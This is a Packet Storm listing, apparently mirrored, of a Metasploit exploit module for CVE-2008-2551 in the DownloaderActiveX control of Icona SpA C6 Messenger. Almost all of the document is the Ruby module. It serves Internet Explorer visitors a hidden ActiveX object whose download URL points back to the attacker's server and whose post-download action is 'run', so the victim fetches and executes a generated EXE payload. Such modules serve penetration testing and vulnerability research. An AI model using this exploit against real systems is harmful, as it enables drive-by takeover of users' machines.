Icona SpA C6 Messenger Downloader Arbitrary File Download / Execute

2012-02-0300:00:00
juan vazquez
packetstormsecurity.com
0.957 High
EPSS
Percentile
99.2%
JSON
`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpServer::HTML  
include Msf::Exploit::EXE  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Icona SpA C6 Messenger DownloaderActiveX Control Arbitrary File Download and Execute',  
'Description' => %q{  
This module exploits a vulnerability in Icona SpA C6 Messenger 1.0.0.1. The  
vulnerability is in the DownloaderActiveX Control (DownloaderActiveX.ocx). The  
insecure control can be abused to download and execute arbitrary files in the context of  
the currently logged-on user.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Nine:Situations:Group::SnoopyAssault', # Vulnerability discovery and exploit  
'juan vazquez' # metasploit module  
],  
'References' =>  
[  
[ 'CVE', '2008-2551' ],  
[ 'OSVDB', '45960' ],  
[ 'BID', '29519' ],  
[ 'URL', 'http://retrogod.altervista.org/9sg_c6_download_exec.html' ],  
],  
'DefaultOptions' =>  
{  
'ExitFunction' => "none",  
'InitialAutoRunScript' => 'migrate -f'  
},  
'Payload' =>  
{  
'Space' => 2048,  
'StackAdjustment' => -3500,  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Automatic', { } ],  
],  
'DisclosureDate' => 'Jun 03 2008',  
'DefaultTarget' => 0,  
'Privileged' => false))  
end  
  
def autofilter  
false  
end  
  
def check_dependencies  
use_zlib  
end  
  
def on_request_uri(cli, request)  
  
# Only IEs are potential targets  
# "File Session" is used when the ActiveX tries to request the EXE  
agent = request.headers['User-Agent']  
if agent !~ /MSIE \d\.\d|File Session/  
print_error("Target not supported: #{cli.peerhost}:#{cli.peerport} (#{agent})")  
return  
end  
  
payload_url = "http://"  
payload_url += (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']  
payload_url += ":" + datastore['SRVPORT'] + get_resource() + "/#{@payload_rand}"  
  
if (request.uri.match(/#{@payload_rand}/))  
return if ((p = regenerate_payload(cli)) == nil)  
data = generate_payload_exe({ :code => p.encoded })  
print_status("Sending EXE payload to #{cli.peerhost}:#{cli.peerport}...")  
send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })  
return  
end  
  
exe = rand_text_alpha(rand(5) + 1 )  
  
content = %Q|  
<html>  
<object id="DownloaderActiveX1" width="0" height="0" classid="CLSID:c1b7e532-3ecb-4e9e-bb3a-2951ffe67c61" codebase="DownloaderActiveX.cab#Version=1,0,0,1">  
<param name="propProgressBackground" value="#bccee8">  
<param name="propTextBackground" value="#f7f8fc">  
<param name="propBarColor" value="#df0203">  
<param name="propTextColor" value="#000000">  
<param name="propWidth" value="0">  
<param name="propHeight" value="0">  
<param name="propDownloadUrl" value="#{payload_url}/#{exe}.exe">  
<param name="propPostDownloadAction" value="run">  
<param name="propInstallCompleteUrl" value="">  
<param name="propBrowserRedirectUrl" value="">  
<param name="propVerbose" value="0">  
<param name="propInterrupt" value="0">  
</OBJECT>  
</html>  
|  
  
print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")  
  
send_response_html(cli, content)  
  
handler(cli)  
  
end  
  
def exploit  
@payload_rand = rand_text_alpha(rand(5) + 5 )  
super  
end  
  
end  
`
0.957 High
EPSS
Percentile
99.2%
JSON
Related for PACKETSTORM:109390